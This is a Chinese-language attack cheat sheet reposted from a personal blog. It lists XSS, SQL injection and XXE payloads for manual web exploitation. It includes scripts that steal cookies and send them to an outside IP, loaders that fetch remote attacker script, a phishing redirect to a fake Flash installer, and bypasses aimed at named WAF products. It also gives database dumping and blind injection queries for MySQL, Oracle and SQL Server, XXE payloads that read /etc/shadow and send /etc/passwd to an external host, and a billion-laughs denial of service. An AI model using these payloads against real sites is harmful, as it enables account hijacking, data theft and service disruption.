个人自用

2022-07-24 10:04:20 阅读：164 来源： 互联网

标签：name 个人 admin 自用 user where id select

xss

弹窗

<script>alert(1)</script>
<script>prompt(2)</script>
<script>confirm(3)</script>
<script>console.log(3)</script>
<script>document.write(1)</script>

当不能弹窗的时候

<script>console.log(3)</script>
<script>document.write(1)</script>

引入外部js，可能需要短域名

<script src=//xsshs.cn></script>
<img src one rror=appendChild(createElement("script")).src="//xsshs.cn/aaaa">
<img src one rror=jQuery.getScript("//xsshs.cn/aaaa")>

盗取cookie

<script>window.location.href="http://2.2.2.2/?msg="+escape(document.cookie)</script>
<script>document.body.appendChild(document.createElement("img")).src="http://2.2.2.2/?msg="+escape(document.cookie)</script>

结合弹窗和url跳转进行钓鱼

<script>alert("您的flash版本过低，请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>

当xss的触发位置在标签外

name=<script>alert(1)</script>

标签内

name="><script>alert(1)</script>
name=1" id=javascript:alert(1) autofocus onfocus=location=this.id xx="

在href=中

name=javascript:alert(1)

在js中

name=</script><script>alert(1)</script>
name=';alert(1)//
name='-alert(1)-'
name=';};alert(1);function a(){a='

在xml中

<?xml version="1.0"?><a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onl oad='alert(/XSS/)'></a>
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>alert(1);</html:script></html:html>

svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

当过滤了圆括号

<script>alert`1`</script>
<video src one rror=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9">
<video src one rror="javascript:window.onerror=alert;throw 1">

当过滤了空格

假设payload如下：

html><imgAAsrcAAonerrorBB=BBalertCC(1)DD

A位置可填充/，/123/，%09，%0A，%0C，%0D，%20

B位置可填充%09，%0A，%0C，%0D，%20

C位置可填充%0B，如果加双引号，则可以填充/**/，%09，%0A ，%0C，%0D，%20

D位置可填充%09，%0A，%0C，%0D，%20，//，>

函数配合拼接

<video/src/onerror=top.alert(1);>
<video/src/onerror=top[`al`+`ert`](1);>
<video/src/onerror=self[`al`+`ert`](1);>
<video/src/onerror=parent[`al`+`ert`](1);>
<video/src/onerror=window[`al`+`ert`](1);>
<video/src/onerror=frames[`al`+`ert`](1);>
<video/src/onerror=content[`al`+`ert`](1);>
<body/onload=eval(alert(1));>
<body/onload=eval(`al`+`ert(1)`);>
<body/onload=open(alert(1));>
<body/onload=document.write(alert(1));>
<body/onload=setTimeout(alert(1));>
<body/onload=setInterval(alert(1));>
<body/onload=Set.constructor(alert(1))()>
<body/onload=Map.constructor(alert(1))()>
<body/onload=Array.constructor(alert(1))()>
<body/onload=WeakSet.constructor(alert(1))()>
<body/onload=constructor.constructor(alert(1))>
<video/src/onerror=[1].map(alert);>
<video/src/onerror=[1].map(eval('al'+'ert'));>
<video/src/onerror=[1].find(alert);>
<video/src/onerror=[1].every(alert);>
<video/src/onerror=[1].filter(alert);>
<video/src/onerror=[1].forEach(alert);>
<video/src/onerror=[1].findIndex(alert);>

赋值和拼接

<img src one rror=_=alert,_(1)>
<img src alt=al lang=ert one rror=top[alt+lang](1)>
<img src one rror=top[a='al',b='ev',b+a]('alert(1)')>
<img src one rror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

创建匿名函数

<video/src/onerror=Function('ale'+'rt(1)')();>

伪协议

<svg/onload=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<form action=javascript:alert(1)><input type=submit>
<a href=javascript:alert(123);>xss</a>
<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">

安全狗

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">

D盾

http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

云锁+奇安信waf

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

一些新奇的xss playload

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<input onfocus=alert(1) autofocus>
<h1 onm ousemove="alert(1)">title</h1>
<select onfocus=alert(1) autofocus>
<iframe src="vbscript:msgbox(1)"></iframe> 
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe onl oad=alert(1)></iframe>
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> 
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> 
</iframe><iframe src="vbscript:msgbox(1)"></iframe>
</iframe><iframe src="data:text/html,<script>alert(0)</script>"></iframe>
<details open ontoggle=prompt(/xss/)>
<plaintext/onmouseover=prompt(1)>
javascript://comment％250aalert(1) 
<img src=x one rror=confirm(1)>
<video><source one rror=alert(1)>
<audio src=x one rror="alert(1)">
<body onl oad=alert(1)>
<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea onfocus=alert(1) autofocus>

虽说目前互联网上已经有很多关于 sql 注入的神器了，但是在这个 WAF 横行的时代，手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结，不会有详细的知识解读，类似于查询手册的形式，便于以后的复习与查阅，文中内容可能会存在错误，望师傅们斧正！

sql注入

0x01 Mysql 手工注入

1.1 联合注入

?id=1' order by 4
?id=0' union select 1,2,3,database()
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" 


?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1

1.2 报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理：

exp() 报错的原理：exp 是一个数学函数，取e的x次方，当我们输入的值大于709就会报错，然后 ~ 取反它的值总会大于709，所以报错。

updatexml() 报错的原理：由于 updatexml 的第二个参数需要 Xpath 格式的字符串，以 ~ 开头的内容不是 xml 格式的语法，concat() 函数为字符串连接函数显然不符合规则，但是会将括号内的执行结果以错误的形式报出，这样就可以实现报错注入了。

爆库：?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) 
爆表：?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段：?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) 
爆数据：?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符，导致数据中的 md5 只能爆出 31 位，这里可以用分割函数分割出来：

substr(string string,num start,num length);


?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1)

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

#if（expre1，expre2，expre3）
当 expre1 为 true 时，返回 expre2，false 时，返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下，当然不编码也行，编码的好处就是可以不用引号，常用到的就有 ascii() hex() 等等

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2 布尔盲注

?id=1' and substr((select user()),1,1)='r' 
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL，则返回第二个参数的备用值，不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1)

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入，此类注入点不建议使用 sqlmap 等工具，会造成大量垃圾数据，一般这种注入会出现在注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现，我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行，然后如果插入失败，更新失败，然后深入测试确定是否存在注入

1.4.1 报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'


mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)


mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)


mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)


mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句：在没有被单引号包裹的sql语句下，我们可以用16进制编码他，这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现，通常见于注册，登录恶意账户后，数据库可能会因为恶意账户名的问题，将 admin'--+ 误认为 admin 账户

宽字节注入：针对目标做了一定的防护，单引号转变为 \' , mysql 会将 \ 编码为 %5c ，宽字节中两个字节代表一个汉字，所以把 %df 加上 %5c 就变成了一个汉字“運”，使用这种方法成功绕过转义，就是所谓的宽字节注入

id=-1%df' union select...

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

0x02 Oracle 手工注入

2.1 联合注入

?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

2.2 报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

2.3 盲注

2.3.1 布尔盲注

既然是盲注，那么肯定涉及到条件判断语句，Oracle除了使用IF the else end if这种复杂的，还可以使用 decode() 函数。
语法：decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);

该函数的含义如下：

IF 条件=值1 THEN
　　　　RETURN(返回值1)
ELSIF 条件=值2 THEN
　　　　RETURN(返回值2)
　　　　......
ELSIF 条件=值n THEN
　　　　RETURN(返回值n)
ELSE
　　　　RETURN(缺省值)
END IF

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64

2.3.2 时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注，这个函数可以指定延迟的时间

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

0x03 SQL server 手工注入

3.1 联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

3.2 报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

3.3 盲注

3.3.1 布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

3.3.2 时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay

xxe

基础Payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
    %local_dtd;
]>
<request>
    <status>&data;</status>
</request>

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ENTITY % pe SYSTEM "http://tester.example.com/xxe_file">
%pe;
%param1;
]>
<foo>&external;</foo>




The contents of xxe_file should be:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://tester.example.com/log_xxe?data=%payload;'>">

标签：name,个人,admin,自用,user,where,id,select
来源： https://www.cnblogs.com/liyu8/p/16513953.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9